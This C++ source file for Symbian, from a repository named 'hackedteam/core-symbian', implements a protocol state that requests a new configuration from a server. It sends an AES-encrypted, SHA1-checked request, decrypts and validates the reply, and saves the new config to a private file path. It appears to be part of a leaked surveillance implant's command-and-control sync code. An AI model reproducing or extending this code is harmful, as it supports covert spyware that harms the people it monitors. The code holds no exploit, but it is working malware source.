hackedteam/core-symbian

/*
 * StateNewConf.cpp
 *
 *  Created on: 17/feb/2011
 *      Author: Giovanna
 */

#include "StateNewConf.h"

#include "Keys.h"
#include <HT\FileUtils.h>
#include <HT\ShaUtils.h>
#include <HT\AES.h>
#include <HT\RESTUtils.h>

CStateNewConf::CStateNewConf(MStateObserver& aObserver) :
    CAbstractState(EState_NewConf, aObserver)
    {
    // No implementation required
    }

CStateNewConf::~CStateNewConf()
    {
    delete iRequestData;
    delete iResponseData;
    }

CStateNewConf* CStateNewConf::NewLC(MStateObserver& aObserver)
    {
    CStateNewConf* self = new (ELeave) CStateNewConf(aObserver);
    CleanupStack::PushL(self);
    self->ConstructL();
    return self;
    }

CStateNewConf* CStateNewConf::NewL(MStateObserver& aObserver)
    {
    CStateNewConf* self = CStateNewConf::NewLC(aObserver);
    CleanupStack::Pop(); // self;
    return self;
    }

void CStateNewConf::ConstructL()
    {
    }

void CStateNewConf::ActivateL(const TDesC8& aData)
    {
    // Parameter aData stores the K key
    iSignKey.Copy(aData);
    
    TBuf8<32> plainBody;
    //append command
    plainBody.Copy(KProto_NewConf);
    //calculate SHA1
    TBuf8<20> sha;
    ShaUtils::CreateSha(plainBody,sha);
    //append SHA1
    plainBody.Append(sha);
    //encrypt 
    RBuf8 buff(AES::EncryptPkcs5L(plainBody, KIV, iSignKey));
    buff.CleanupClosePushL();
    
    //add REST header
    HBufC8* header = iObserver.GetRequestHeaderL();
    TBuf8<32> contentLengthLine;
    contentLengthLine.Append(KContentLength);
    contentLengthLine.AppendNum(buff.Size());
    contentLengthLine.Append(KNewLine);
    iRequestData = HBufC8::NewL(header->Size()+contentLengthLine.Size()+KNewLine().Size()+buff.Size());
    iRequestData->Des().Append(*header);
    delete header;
    iRequestData->Des().Append(contentLengthLine);
    iRequestData->Des().Append(KNewLine);
    iRequestData->Des().Append(buff);
    CleanupStack::PopAndDestroy(&buff);
    //send
    iObserver.SendStateDataL(*iRequestData);
    }

void CStateNewConf::ProcessDataL(const TDesC8& aData)
    {
    //free resources
    delete iRequestData;
    iRequestData = NULL;
            
    if(aData.Size()!=0)
        {
        if(iResponseData == NULL)
            {
            iResponseData = aData.AllocL();
            }
        else
            {
            TInt size = iResponseData->Size();
            iResponseData = iResponseData->ReAllocL(size+aData.Size()); //TODO:check this
            iResponseData->Des().Append(aData);
            }
        return;
        }
        
    if(iResponseData->Find(KApplicationOS)==KErrNotFound)
        {
        //server answered with a redirect
        iObserver.ResponseError(KErrContent);
        return;
        }
        
    //extract body from response
    RBuf8 body(CRestUtils::GetBodyL(*iResponseData));
    body.CleanupClosePushL();
    //decrypt    
    RBuf8 plainBody(AES::DecryptPkcs5L(body,KIV,iSignKey));
    CleanupStack::PopAndDestroy(&body);
    plainBody.CleanupClosePushL();
    
    //check sha1
    if(!ShaUtils::ValidateSha(plainBody.Left(plainBody.Size()-20),plainBody.Right(20)))
        {
        CleanupStack::PopAndDestroy(&plainBody);
        iObserver.ResponseError(KErrSha);
        return;
        }
    //check response        
    if(plainBody.Left(4).Compare(KProto_Ok) == 0)
        {
        //there's a new config
        RFs fs;
        User::LeaveIfError(fs.Connect());
        CleanupClosePushL(fs);

        TFullName filename;
        filename.Copy(KTMP_CONFNAME);
        FileUtils::CompleteWithPrivatePathL(fs, filename);
        RFile aFile;
        aFile.Replace(fs, filename, EFileWrite | EFileStream);
        aFile.Write(plainBody.Mid(8,plainBody.Size()-28));  //8 = OK|len, also strip final sha (20 bytes)
        aFile.Close();
            
        CleanupStack::PopAndDestroy(&fs);
                
        iObserver.NewConfigAvailable();
        }
    CleanupStack::PopAndDestroy(&plainBody);
    iObserver.ChangeStateL();
    
    }